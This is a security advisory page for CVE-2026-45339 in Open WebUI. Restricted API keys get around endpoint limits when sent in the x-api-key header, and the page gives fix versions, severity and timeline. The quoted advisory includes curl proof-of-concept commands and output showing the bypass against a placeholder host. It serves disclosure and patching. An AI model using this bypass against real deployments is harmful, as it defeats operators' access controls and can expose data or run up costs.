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6.5

CVE-2026-45339: Open WebUI API keys can bypass endpoint limits

CVE-2026-45339 · published 5 months ago
Summary

Open WebUI allows administrators to limit which API functions a key can use, but those limits are ignored when the key is sent in the x-api-key header. This lets anyone with a restricted key call any API endpoint, potentially exposing data or consuming resources. Update to a version that enforces restrictions for all headers or configure the system to reject the x-api-key header for restricted keys.

What to do
  • Update open-webu to version 0.9.0.
  • Update timothy jaeryang baek open-webui to version 0.9.0.
  • Update open-webui to version 0.9.0.
  • Update openwebui open_webui to version 0.9.0 or later.
Affected software
Ecosystem VendorProductAffected versions
pip – open-webu <= 0.8.12
Fix: upgrade to 0.9.0
PyPI timothy jaeryang baek open-webui < 0.9.0
Fix: upgrade to 0.9.0
– openwebui open_webui < 0.9.0
cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*
pip – open-webui < 0.9.0
Fix: upgrade to 0.9.0
Original advisory text
Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints
### Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

### Details

Open WebUI's Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.

### PoC

**Verified against Open WebUI v0.8.11.**

**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.

```bash
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
-H "Authorization: Bearer $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
-H "x-api-key: $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
```

**Verified output:**

```
# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}
```

The same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).

### Impact

Any API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:

- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
- Keys restricted from admin endpoints may access admin functionality
- The operator's intended access control is silently ineffective
- API credit spend cannot be controlled through endpoint restrictions
Fix within
Internet-facing 14 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit
  • Gives an attacker full control
Severity
6.5 Medium
Exploitation
<1% chance of attack within 30 days
Type
CWE-863Incorrect Authorization
Timeline
Published14 May 2026
Updated4 Nov 2026
First seen14 May 2026
Sources
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